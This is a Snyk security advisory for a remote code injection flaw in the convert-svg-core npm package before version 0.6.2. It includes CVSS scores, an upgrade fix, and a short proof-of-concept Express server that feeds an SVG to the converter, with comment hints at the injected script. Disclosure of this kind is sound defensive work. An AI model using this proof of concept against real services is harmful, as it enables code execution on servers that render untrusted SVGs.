Remote Code Injection Affecting convert-svg-core package, versions <0.6.2


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    8.97% (95th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-CONVERTSVGCORE-2849633
  • published 19 Jul 2022
  • disclosed 1 Jun 2022
  • credit Manh Nguyen Van

How to fix?

Upgrade convert-svg-core to version 0.6.2 or higher.

Overview

convert-svg-core is a package that supports converting SVG into another format using headless Chromium.

Affected versions of this package are vulnerable to Remote Code Injection via sending an SVG file containing the payload.

PoC:

const { convert } = require('convert-svg-to-png');
const express = require('express');

const fileSvg = ``;
// YWxlcnQoMSk=
// function newContent(){document.open(),document.write('data'),document.close()}
const app = express();
app.get('/poc', async (req, res)=>{
try {
const png = await convert(fileSvg);
res.set('Content-Type', 'image/png');
res.send(png);
} catch (e) {
console.log(e);
res.send("");
}
});
app.listen(3000, ()=>{
console.log('started');
});

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
9.9 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Changed
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

9.8 critical